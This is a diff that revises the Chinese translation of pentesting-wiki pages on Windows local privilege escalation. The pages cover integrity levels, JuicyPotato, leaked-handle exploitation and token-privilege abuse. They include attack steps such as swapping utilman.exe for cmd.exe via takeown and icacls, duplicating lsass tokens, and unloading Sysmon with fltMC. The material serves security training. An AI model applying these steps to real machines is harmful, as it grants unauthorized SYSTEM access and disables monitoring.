@@ -62,7 +62,7 @@ C:\Users\Public\asd.txt
Access is denied.
```
> [!NOTE]
-> **因此,当一个文件具有最低完整性级别时,要修改它,您需要至少在该完整性级别运行。**
+> **因此,当一个文件具有最低完整性级别时,要修改它,您需要至少以该完整性级别运行。**
### 二进制中的完整性级别
@@ -80,11 +80,11 @@ Mandatory Label\Low Mandatory Level:(NW)
.png>)
-对于好奇的人,如果你将高完整性级别分配给一个二进制文件(`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`),它不会自动以高完整性级别运行(如果你从中等完整性级别调用它 -- 默认情况下 -- 它将以中等完整性级别运行)。
+对于好奇的人,如果你给一个二进制文件分配高完整性级别(`icacls C:\Windows\System32\cmd-high.exe /setintegritylevel high`),它不会自动以高完整性级别运行(如果你从中等完整性级别调用它 -- 默认情况下 -- 它将以中等完整性级别运行)。
### 进程中的完整性级别
-并非所有文件和文件夹都有最低完整性级别,**但所有进程都在完整性级别下运行**。与文件系统发生的情况类似,**如果一个进程想要在另一个进程内部写入,它必须至少具有相同的完整性级别**。这意味着低完整性级别的进程无法以完全访问权限打开中等完整性级别进程的句柄。
+并非所有文件和文件夹都有最低完整性级别,**但所有进程都在完整性级别下运行**。与文件系统发生的情况类似,**如果一个进程想要在另一个进程内写入,它必须至少具有相同的完整性级别**。这意味着低完整性级别的进程无法以完全访问权限打开中等完整性级别进程的句柄。
由于本节和前一节中提到的限制,从安全角度来看,始终**建议以尽可能低的完整性级别运行进程**。
diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
index 619a0e871..7d46c9269 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md
@@ -19,19 +19,19 @@ _一个经过糖化的_ [_RottenPotatoNG_](https://github.com/breenmachine/Rotte
[**来自 juicy-potato 的 Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
-[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 及其 [变体](https://github.com/decoder-it/lonelypotato) 利用基于 [`BITS`]() [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) 的权限提升链,具有在 `127.0.0.1:6666` 上的 MiTM 监听器,并且当你拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限时。在一次 Windows 构建审查中,我们发现一个设置,其中 `BITS` 被故意禁用,端口 `6666` 被占用。
+[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) 及其 [变种](https://github.com/decoder-it/lonelypotato) 利用基于 [`BITS`]() [服务](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) 的权限提升链,具有在 `127.0.0.1:6666` 上的 MiTM 监听器,并且当你拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限时。在一次 Windows 构建审查中,我们发现了一个故意禁用 `BITS` 的设置,并且端口 `6666` 被占用。
我们决定武器化 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG):**向 Juicy Potato 打个招呼**。
> 有关理论,请参见 [Rotten Potato - 从服务账户到 SYSTEM 的权限提升](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) 并跟随链接和参考链。
-我们发现,除了 `BITS` 之外,还有几个 COM 服务器可以利用。它们只需要:
+我们发现,除了 `BITS` 之外,还有几个 COM 服务器可以被滥用。它们只需要:
1. 由当前用户实例化,通常是具有模拟权限的“服务用户”
2. 实现 `IMarshal` 接口
3. 以提升的用户身份运行(SYSTEM,Administrator,…)
-经过一些测试,我们获得并测试了一份在多个 Windows 版本上的 [有趣 CLSID 的广泛列表](http://ohpe.it/juicy-potato/CLSID/)。
+经过一些测试,我们在多个 Windows 版本上获得并测试了一份广泛的 [有趣 CLSID 列表](http://ohpe.it/juicy-potato/CLSID/)。
### Juicy 细节
@@ -47,7 +47,7 @@ JuicyPotato 允许你:
- **要启动的进程** _如果利用成功,启动一个可执行文件或脚本_
- **进程参数** _自定义启动进程的参数_
- **RPC 服务器地址** _为了隐蔽的方法,你可以认证到外部 RPC 服务器_
-- **RPC 服务器端口** _如果你想认证到外部服务器并且防火墙阻止端口 `135`,这很有用…_
+- **RPC 服务器端口** _如果你想认证到外部服务器并且防火墙阻止了端口 `135`,这很有用…_
- **测试模式** _主要用于测试目的,即测试 CLSID。它创建 DCOM 并打印令牌的用户。请参见_ [_这里进行测试_](http://ohpe.it/juicy-potato/Test/)
### 使用
@@ -69,7 +69,7 @@ Optional args:
```
### 最后思考
-[**来自 juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
+[**来自 juicy-potato 读我**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
如果用户拥有 `SeImpersonate` 或 `SeAssignPrimaryToken` 权限,那么你就是 **SYSTEM**。
diff --git a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
index 707065c82..e56f33712 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md
@@ -6,12 +6,12 @@
进程中的句柄允许**访问**不同的**Windows资源**:
-.png>)
+.png>)
-已经有几个**权限提升**案例,其中一个**特权进程**具有**打开和可继承的句柄**,并且**运行**了一个**无特权进程**,使其**访问所有这些句柄**。
+已经有几个**特权升级**案例,其中一个**特权进程**具有**打开和可继承的句柄**,并且**运行**了一个**无特权进程**,使其**访问所有这些句柄**。
-例如,想象一下**一个以SYSTEM身份运行的进程打开一个新进程**(`OpenProcess()`)并具有**完全访问权限**。同一个进程**还创建了一个新进程**(`CreateProcess()`),**具有低权限但继承了主进程的所有打开句柄**。\
-然后,如果你对这个低权限进程**拥有完全访问权限**,你可以获取**通过`OpenProcess()`创建的特权进程的打开句柄**并**注入一个shellcode**。
+例如,想象一下**一个以SYSTEM身份运行的进程打开一个新进程**(`OpenProcess()`)并具有**完全访问权限**。同一进程**还创建了一个新进程**(`CreateProcess()`),**具有低权限但继承主进程的所有打开句柄**。\
+然后,如果你对低权限进程**具有完全访问权限**,你可以获取**通过`OpenProcess()`创建的特权进程的打开句柄**并**注入一个shellcode**。
## **有趣的句柄**
@@ -39,7 +39,7 @@
### 文件、键和节句柄
-如果一个**无特权进程继承了**一个**具有写入**等效**权限**的**句柄**,针对一个**特权文件或注册表**,它将能够**覆盖**该文件/注册表(并且在很多**运气**下,**提升权限**)。
+如果一个**无特权进程继承了**一个**具有写入**等效**权限**的**句柄**,并且该句柄指向一个**特权文件或注册表**,它将能够**覆盖**该文件/注册表(并且在很多**运气**下,**提升特权**)。
**节句柄**类似于文件句柄,这类[对象的通用名称是**“文件映射”**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping)。它们用于处理**大文件而不将整个**文件保留在内存中。这使得利用的方式与文件句柄的利用“相似”。
@@ -67,14 +67,14 @@
### LeakedHandlesFinder
-[**这个工具**](https://github.com/lab52io/LeakedHandlesFinder)允许你**监控**泄露的**句柄**,甚至**自动利用**它们来提升权限。
+[**这个工具**](https://github.com/lab52io/LeakedHandlesFinder)允许你**监控**泄露的**句柄**,甚至**自动利用**它们来提升特权。
### 方法论
-现在你知道如何找到进程的句柄,你需要检查的是是否有任何**无特权进程正在访问特权句柄**。在这种情况下,进程的用户可能能够获取句柄并利用它来提升权限。
+现在你知道如何找到进程的句柄,你需要检查的是是否有任何**无特权进程正在访问特权句柄**。在这种情况下,进程的用户可能能够获取句柄并利用它来提升特权。
> [!WARNING]
-> 之前提到过,你需要SeDebugPrivilege才能访问所有句柄。但**用户仍然可以访问其进程的句柄**,因此如果你想仅从该用户提升权限,**以用户常规权限执行工具**可能会很有用。
+> 之前提到过,你需要SeDebugPrivilege才能访问所有句柄。但是**用户仍然可以访问其进程的句柄**,因此如果你想仅从该用户提升特权,**以用户常规权限执行工具**可能会很有用。
>
> ```bash
> handle64.exe /a | findstr /r /i "process thread file key pid:"
@@ -82,7 +82,7 @@
## 漏洞示例
-例如,以下代码属于一个**Windows服务**,该服务将是脆弱的。该服务二进制文件的脆弱代码位于**`Exploit`**函数内部。该函数开始**创建一个具有完全访问权限的新句柄进程**。然后,它**创建一个低权限进程**(通过复制_explorer.exe_的低权限令牌)执行_C:\users\username\desktop\client.exe_。**漏洞在于它创建低权限进程时将`bInheritHandles`设置为`TRUE`**。
+例如,以下代码属于一个**Windows服务**,该服务将是脆弱的。该服务二进制文件的脆弱代码位于**`Exploit`**函数内部。该函数开始**创建一个具有完全访问权限的新句柄进程**。然后,它**创建一个低权限进程**(通过复制_explorer.exe_的低权限令牌)执行_C:\users\username\desktop\client.exe_。**漏洞在于它以`bInheritHandles`为`TRUE`创建低权限进程**。
因此,这个低权限进程能够获取首先创建的高权限进程的句柄并注入和执行一个shellcode(见下一节)。
```c
@@ -293,7 +293,7 @@ return 0;
### Exploit Example 1
> [!NOTE]
-> 在实际场景中,您可能**无法控制将由易受攻击的代码执行的二进制文件**(在这种情况下为 _C:\users\username\desktop\client.exe_)。您可能会**妥协一个进程,并需要查看是否可以访问任何特权进程的任何易受攻击的句柄**。
+> 在实际场景中,您可能**无法控制将由易受攻击的代码执行的二进制文件**(在这种情况下为 _C:\users\username\desktop\client.exe_)。您可能会**妥协一个进程,并需要查看是否可以访问任何特权进程的易受攻击句柄**。
在这个例子中,您可以找到 _C:\users\username\desktop\client.exe_ 的一个可能的利用代码。\
这段代码中最有趣的部分位于 `GetVulnProcHandle`。这个函数将**开始获取所有句柄**,然后**检查它们是否属于同一个 PID**,并且句柄是否属于一个**进程**。如果满足所有这些要求(找到一个可访问的打开进程句柄),它将尝试**注入并执行一个利用该进程句柄的 shellcode**。\
@@ -503,11 +503,11 @@ return 0;
### Exploit Example 2
> [!NOTE]
-> 在实际场景中,您可能**无法控制将由易受攻击的代码执行的二进制文件**(在这种情况下为 _C:\users\username\desktop\client.exe_)。您可能会**妥协一个进程,并需要查看是否可以访问任何特权进程的易受攻击句柄**。
+> 在实际场景中,您可能**无法控制将由易受攻击的代码执行的二进制文件**(在这种情况下为 _C:\users\username\desktop\client.exe_)。您可能会**妥协一个进程,并需要查看是否可以访问任何特权进程的任何易受攻击的句柄**。
-在这个例子中,**不是滥用打开的句柄来注入**和执行 shellcode,而是**使用特权打开句柄进程的令牌来创建一个新的进程**。这在第 138 行到第 148 行完成。
+在这个例子中,**不是滥用打开的句柄来注入**和执行 shellcode,而是**使用特权打开句柄进程的令牌来创建一个新的进程**。这在第 138 行到 148 行之间完成。
-注意**函数 `UpdateProcThreadAttribute`**是如何与**属性 `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` 和打开的特权进程的句柄**一起使用的。这意味着**创建的进程线程执行 \_cmd.exe**\_\*\*将具有与打开句柄进程相同的令牌权限\*\*。
+注意**函数 `UpdateProcThreadAttribute`**是如何与**属性 `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` 和打开的特权进程的句柄**一起使用的。这意味着**创建的进程线程执行 \_cmd.exe**\_\*\*将具有与打开的句柄进程相同的令牌特权\*\*。
```c
#include
#include
diff --git a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
index af5ece188..65fc8e647 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/msi-wrapper.md
@@ -2,8 +2,8 @@
{{#include ../../banners/hacktricks-training.md}}
-从 [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/) 下载免费版本的应用程序,执行它并将“恶意”二进制文件包装在其中。\
-请注意,如果您**只**想**执行** **命令行(而不是选择 cmd.exe,选择 .bat 文件)**,您可以包装一个“**.bat**”文件。
+从 [https://www.exemsi.com/documentation/getting-started/](https://www.exemsi.com/download/) 下载免费版本应用程序,执行它并将“恶意”二进制文件包装在其中。\
+请注意,如果您**只**想**执行** **命令行(而不是选择cmd.exe,请选择.bat文件)**,您可以包装一个“**.bat**”。
.png>)
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
index 1a475d941..65ac05346 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md
@@ -14,7 +14,7 @@ access-tokens.md
### SeImpersonatePrivilege
-这是任何进程持有的特权,允许对任何令牌进行 impersonation(但不允许创建),前提是可以获得其句柄。可以通过诱使Windows服务(DCOM)对一个漏洞进行NTLM身份验证来获取特权令牌,从而启用以SYSTEM权限执行进程。可以使用各种工具利用此漏洞,例如 [juicy-potato](https://github.com/ohpe/juicy-potato)、[RogueWinRM](https://github.com/antonioCoco/RogueWinRM)(需要禁用winrm)、[SweetPotato](https://github.com/CCob/SweetPotato) 和 [PrintSpoofer](https://github.com/itm4n/PrintSpoofer)。
+这是任何进程持有的特权,允许对任何令牌进行模拟(但不创建),前提是可以获得其句柄。可以通过诱使Windows服务(DCOM)对一个漏洞进行NTLM身份验证来获取特权令牌,从而启用以SYSTEM权限执行进程。可以使用各种工具利用此漏洞,例如[juicy-potato](https://github.com/ohpe/juicy-potato)、[RogueWinRM](https://github.com/antonioCoco/RogueWinRM)(需要禁用winrm)、[SweetPotato](https://github.com/CCob/SweetPotato)和[PrintSpoofer](https://github.com/itm4n/PrintSpoofer)。
{{#ref}}
roguepotato-and-printspoofer.md
@@ -27,21 +27,21 @@ juicypotato.md
### SeAssignPrimaryPrivilege
它与**SeImpersonatePrivilege**非常相似,将使用**相同的方法**来获取特权令牌。\
-然后,此特权允许**将主令牌分配**给新的/挂起的进程。使用特权的impersonation令牌可以派生出主令牌(DuplicateTokenEx)。\
-使用该令牌,可以使用'CreateProcessAsUser'创建**新进程**,或创建一个挂起的进程并**设置令牌**(通常,无法修改正在运行的进程的主令牌)。
+然后,此特权允许**将主令牌分配**给新的/挂起的进程。使用特权模拟令牌可以派生出主令牌(DuplicateTokenEx)。\
+使用该令牌,可以通过'CreateProcessAsUser'创建**新进程**,或创建一个挂起的进程并**设置令牌**(通常,无法修改正在运行的进程的主令牌)。
### SeTcbPrivilege
-如果你启用了此令牌,可以使用**KERB_S4U_LOGON**为任何其他用户获取**impersonation令牌**而无需知道凭据,**向令牌添加任意组**(管理员),将令牌的**完整性级别**设置为“**中等**”,并将此令牌分配给**当前线程**(SetThreadToken)。
+如果你启用了此令牌,可以使用**KERB_S4U_LOGON**为任何其他用户获取**模拟令牌**,而无需知道凭据,**向令牌添加任意组**(管理员),将令牌的**完整性级别**设置为“**中等**”,并将此令牌分配给**当前线程**(SetThreadToken)。
### SeBackupPrivilege
-此特权使系统**授予对任何文件的所有读取访问**控制(仅限读取操作)。它用于**从注册表中读取本地管理员**帐户的密码哈希,随后可以使用“**psexec**”或“**wmiexec**”与哈希一起使用(Pass-the-Hash技术)。但是,在两种情况下,此技术会失败:当本地管理员帐户被禁用,或当有政策规定从远程连接的本地管理员中删除管理权限时。\
+此特权使系统**授予对任何文件的所有读取访问**控制(仅限读取操作)。它用于**从注册表中读取本地管理员**帐户的密码哈希,随后可以使用“**psexec**”或“**wmiexec**”与哈希一起使用(Pass-the-Hash技术)。但是,在两种情况下,此技术会失败:当本地管理员帐户被禁用,或当有政策规定从远程连接的本地管理员中移除管理权限时。\
你可以通过以下方式**滥用此特权**:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
-- 关注**IppSec**在 [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
+- 关注**IppSec**在[https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
- 或如在以下内容中解释的**通过备份操作员提升权限**部分:
{{#ref}}
@@ -50,23 +50,23 @@ juicypotato.md
### SeRestorePrivilege
-此特权提供对任何系统文件的**写访问**权限,无论文件的访问控制列表(ACL)如何。它为提升权限打开了许多可能性,包括**修改服务**、执行DLL劫持和通过图像文件执行选项设置**调试器**等各种其他技术。
+此特权提供对任何系统文件的**写访问**权限,无论文件的访问控制列表(ACL)如何。这为提升权限打开了许多可能性,包括**修改服务**、执行DLL劫持以及通过图像文件执行选项设置**调试器**等多种技术。
### SeCreateTokenPrivilege
-SeCreateTokenPrivilege是一个强大的权限,特别是在用户拥有impersonate令牌的能力时,但在没有SeImpersonatePrivilege的情况下也很有用。此能力依赖于能够impersonate一个代表同一用户的令牌,并且其完整性级别不超过当前进程的完整性级别。
+SeCreateTokenPrivilege是一个强大的权限,特别是在用户拥有模拟令牌的能力时,但在没有SeImpersonatePrivilege的情况下也很有用。此能力依赖于能够模拟代表同一用户的令牌,并且其完整性级别不超过当前进程的完整性级别。
**关键点:**
-- **在没有SeImpersonatePrivilege的情况下进行impersonation:** 可以在特定条件下利用SeCreateTokenPrivilege进行EoP,通过impersonate令牌。
-- **令牌impersonation的条件:** 成功的impersonation要求目标令牌属于同一用户,并且其完整性级别小于或等于尝试impersonation的进程的完整性级别。
-- **创建和修改impersonation令牌:** 用户可以创建一个impersonation令牌,并通过添加特权组的SID(安全标识符)来增强它。
+- **在没有SeImpersonatePrivilege的情况下进行模拟:**可以在特定条件下利用SeCreateTokenPrivilege进行EoP,通过模拟令牌。
+- **令牌模拟的条件:**成功的模拟要求目标令牌属于同一用户,并且其完整性级别小于或等于尝试模拟的进程的完整性级别。
+- **创建和修改模拟令牌:**用户可以创建模拟令牌,并通过添加特权组的SID(安全标识符)来增强它。
### SeLoadDriverPrivilege
此特权允许**加载和卸载设备驱动程序**,通过创建具有特定值的注册表项`ImagePath`和`Type`。由于对`HKLM`(HKEY_LOCAL_MACHINE)的直接写访问受到限制,因此必须使用`HKCU`(HKEY_CURRENT_USER)。但是,为了使`HKCU`对内核可识别以进行驱动程序配置,必须遵循特定路径。
-此路径为`\Registry\User\\System\CurrentControlSet\Services\DriverName`,其中``是当前用户的相对标识符。在`HKCU`中,必须创建整个路径,并设置两个值:
+该路径为`\Registry\User\\System\CurrentControlSet\Services\DriverName`,其中``是当前用户的相对标识符。在`HKCU`中,必须创建整个路径,并设置两个值:
- `ImagePath`,即要执行的二进制文件的路径
- `Type`,值为`SERVICE_KERNEL_DRIVER`(`0x00000001`)。
@@ -142,7 +142,7 @@ whoami /priv
### 启用所有令牌
-如果您有禁用的令牌,您可以使用脚本 [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) 来启用所有令牌:
+如果您有禁用的令牌,可以使用脚本 [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) 来启用所有令牌:
```powershell
.\EnableAllTokenPrivs.ps1
whoami /priv
@@ -159,7 +159,7 @@ whoami /priv
| **`SeBackup`** | **威胁** | _**内置命令**_ | 使用`robocopy /b`读取敏感文件 | - 如果您可以读取%WINDIR%\MEMORY.DMP,可能会更有趣
- SeBackupPrivilege(和robocopy)在处理打开的文件时没有帮助。
- Robocopy需要同时具有SeBackup和SeRestore才能使用/b参数。
|
| **`SeCreateToken`** | _**管理员**_ | 第三方工具 | 使用`NtCreateToken`创建任意令牌,包括本地管理员权限。 | |
| **`SeDebug`** | _**管理员**_ | **PowerShell** | 复制`lsass.exe`令牌。 | 脚本可以在[FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1)找到 |
-| **`SeLoadDriver`** | _**管理员**_ | 第三方工具 | 1. 加载有缺陷的内核驱动程序,如szkg64.sys
2. 利用驱动程序漏洞
或者,该权限可用于卸载与安全相关的驱动程序,使用ftlMC内置命令。即:fltMC sysmondrv
| 1. szkg64漏洞被列为CVE-2018-15732
2. szkg64 利用代码是由Parvez Anwar创建的
|
+| **`SeLoadDriver`** | _**管理员**_ | 第三方工具 | 1. 加载有缺陷的内核驱动程序,如szkg64.sys
2. 利用驱动程序漏洞
或者,该权限可用于卸载与安全相关的驱动程序,使用ftlMC内置命令。即:fltMC sysmondrv
| 1. szkg64漏洞被列为CVE-2018-15732
2. szkg64 利用代码由Parvez Anwar创建
|
| **`SeRestore`** | _**管理员**_ | **PowerShell** | 1. 启动具有SeRestore权限的PowerShell/ISE。
2. 使用Enable-SeRestorePrivilege启用该权限。
3. 将utilman.exe重命名为utilman.old
4. 将cmd.exe重命名为utilman.exe
5. 锁定控制台并按Win+U
| 攻击可能会被某些AV软件检测到。
替代方法依赖于使用相同权限替换存储在“Program Files”中的服务二进制文件
|
| **`SeTakeOwnership`** | _**管理员**_ | _**内置命令**_ | 1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. 将cmd.exe重命名为utilman.exe
4. 锁定控制台并按Win+U
| 攻击可能会被某些AV软件检测到。
替代方法依赖于使用相同权限替换存储在“Program Files”中的服务二进制文件。
|
| **`SeTcb`** | _**管理员**_ | 第三方工具 | 操纵令牌以包含本地管理员权限。可能需要SeImpersonate。
待确认。
| |
diff --git a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
index be34c2768..d52ceeff5 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
@@ -28,7 +28,7 @@
它与**SeImpersonatePrivilege**非常相似,将使用**相同的方法**来获取特权令牌。\
然后,此特权允许**将主令牌分配**给新的/挂起的进程。使用特权模拟令牌可以派生出主令牌(DuplicateTokenEx)。\
-使用该令牌,可以使用'CreateProcessAsUser'创建**新进程**,或创建一个挂起的进程并**设置令牌**(通常,无法修改正在运行的进程的主令牌)。
+使用该令牌,可以使用'CreateProcessAsUser'创建一个**新进程**,或创建一个挂起的进程并**设置令牌**(通常,无法修改正在运行的进程的主令牌)。
### SeTcbPrivilege
@@ -36,7 +36,7 @@
### SeBackupPrivilege
-此特权使系统能够**授予对任何文件的所有读取访问**控制(仅限读取操作)。它用于**从注册表中读取本地管理员**帐户的密码哈希,随后可以使用“**psexec**”或“**wmiexec**”与哈希一起使用(Pass-the-Hash技术)。但是,在以下两种情况下,此技术会失败:当本地管理员帐户被禁用时,或当有政策规定从远程连接的本地管理员中移除管理权限时。\
+此特权使系统**授予对任何文件的所有读取访问**控制(仅限读取操作)。它用于**从注册表中读取本地管理员**帐户的密码哈希,随后可以使用“**psexec**”或“**wmiexec**”与哈希一起使用(Pass-the-Hash技术)。但是,在两种情况下,此技术会失败:当本地管理员帐户被禁用时,或当有政策规定从远程连接的本地管理员中删除管理权限时。\
你可以通过以下方式**滥用此特权**:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
@@ -58,9 +58,9 @@ SeCreateTokenPrivilege是一个强大的权限,特别是在用户拥有模拟
**关键点:**
-- **在没有SeImpersonatePrivilege的情况下进行模拟:** 可以在特定条件下利用SeCreateTokenPrivilege进行EoP,通过模拟令牌。
-- **令牌模拟的条件:** 成功的模拟要求目标令牌属于同一用户,并且其完整性级别小于或等于尝试模拟的进程的完整性级别。
-- **创建和修改模拟令牌:** 用户可以创建一个模拟令牌,并通过添加特权组的SID(安全标识符)来增强它。
+- **在没有SeImpersonatePrivilege的情况下进行模拟:**可以在特定条件下利用SeCreateTokenPrivilege进行EoP,通过模拟令牌。
+- **令牌模拟的条件:**成功的模拟要求目标令牌属于同一用户,并且其完整性级别小于或等于尝试模拟的进程的完整性级别。
+- **创建和修改模拟令牌:**用户可以创建一个模拟令牌,并通过添加特权组的SID(安全标识符)来增强它。
### SeLoadDriverPrivilege
@@ -164,17 +164,17 @@ whoami /priv
| 权限 | 影响 | 工具 | 执行路径 | 备注 |
| ------------------------ | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **`SeAssignPrimaryToken`** | _**管理员**_ | 第三方工具 | _"这将允许用户模拟令牌并使用诸如 potato.exe、rottenpotato.exe 和 juicypotato.exe 等工具提升到 nt 系统"_ | 感谢 [Aurélien Chalot](https://twitter.com/Defte_) 的更新。我会尽快尝试将其重新表述为更像食谱的内容。 |
-| **`SeBackup`** | **威胁** | _**内置命令**_ | 使用 `robocopy /b` 读取敏感文件 | - 如果您可以读取 %WINDIR%\MEMORY.DMP,可能会更有趣
- SeBackupPrivilege(和 robocopy)在处理打开的文件时没有帮助。
- Robocopy 需要同时具有 SeBackup 和 SeRestore 才能使用 /b 参数。
|
-| **`SeCreateToken`** | _**管理员**_ | 第三方工具 | 使用 `NtCreateToken` 创建任意令牌,包括本地管理员权限。 | |
-| **`SeDebug`** | _**管理员**_ | **PowerShell** | 复制 `lsass.exe` 令牌。 | 脚本可以在 [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) 找到 |
-| **`SeLoadDriver`** | _**管理员**_ | 第三方工具 | 1. 加载有缺陷的内核驱动程序,例如 szkg64.sys
2. 利用驱动程序漏洞
或者,该权限可用于卸载与安全相关的驱动程序,使用 ftlMC 内置命令。即:fltMC sysmondrv
| 1. szkg64 漏洞被列为 CVE-2018-15732
2. szkg64 利用代码 是由 Parvez Anwar 创建的
|
-| **`SeRestore`** | _**管理员**_ | **PowerShell** | 1. 启动 PowerShell/ISE,并具有 SeRestore 权限。
2. 使用 Enable-SeRestorePrivilege 启用该权限。
3. 将 utilman.exe 重命名为 utilman.old
4. 将 cmd.exe 重命名为 utilman.exe
5. 锁定控制台并按 Win+U
| 攻击可能会被某些 AV 软件检测到。
替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件
|
-| **`SeTakeOwnership`** | _**管理员**_ | _**内置命令**_ | 1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. 将 cmd.exe 重命名为 utilman.exe
4. 锁定控制台并按 Win+U
| 攻击可能会被某些 AV 软件检测到。
替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件。
|
-| **`SeTcb`** | _**管理员**_ | 第三方工具 | 操纵令牌以包含本地管理员权限。可能需要 SeImpersonate。
待验证。
| |
+| **`SeBackup`** | **威胁** | _**内置命令**_ | 使用 `robocopy /b` 读取敏感文件 | - 如果您可以读取 %WINDIR%\MEMORY.DMP,可能会更有趣
- SeBackupPrivilege(和 robocopy)在处理打开的文件时没有帮助。
- Robocopy 需要同时具有 SeBackup 和 SeRestore 才能使用 /b 参数。
|
+| **`SeCreateToken`** | _**管理员**_ | 第三方工具 | 使用 `NtCreateToken` 创建任意令牌,包括本地管理员权限。 | |
+| **`SeDebug`** | _**管理员**_ | **PowerShell** | 复制 `lsass.exe` 令牌。 | 脚本可以在 [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) 找到 |
+| **`SeLoadDriver`** | _**管理员**_ | 第三方工具 | 1. 加载有缺陷的内核驱动程序,例如 szkg64.sys
2. 利用驱动程序漏洞
或者,该权限可用于卸载与安全相关的驱动程序,使用 ftlMC 内置命令。即:fltMC sysmondrv
| 1. szkg64 漏洞被列为 CVE-2018-15732
2. szkg64 利用代码 是由 Parvez Anwar 创建的
|
+| **`SeRestore`** | _**管理员**_ | **PowerShell** | 1. 启动 PowerShell/ISE,并具有 SeRestore 权限。
2. 使用 Enable-SeRestorePrivilege 启用该权限。
3. 将 utilman.exe 重命名为 utilman.old
4. 将 cmd.exe 重命名为 utilman.exe
5. 锁定控制台并按 Win+U
| 攻击可能会被某些 AV 软件检测到。
替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件
|
+| **`SeTakeOwnership`** | _**管理员**_ | _**内置命令**_ | 1. takeown.exe /f "%windir%\system32"
2. icalcs.exe "%windir%\system32" /grant "%username%":F
3. 将 cmd.exe 重命名为 utilman.exe
4. 锁定控制台并按 Win+U
| 攻击可能会被某些 AV 软件检测到。
替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件。
|
+| **`SeTcb`** | _**管理员**_ | 第三方工具 | 操纵令牌以包含本地管理员权限。可能需要 SeImpersonate。
待验证。
| |
## 参考
-- 查看此表定义 Windows 令牌:[https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
-- 查看 [**这篇论文**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) 关于使用令牌的权限提升。
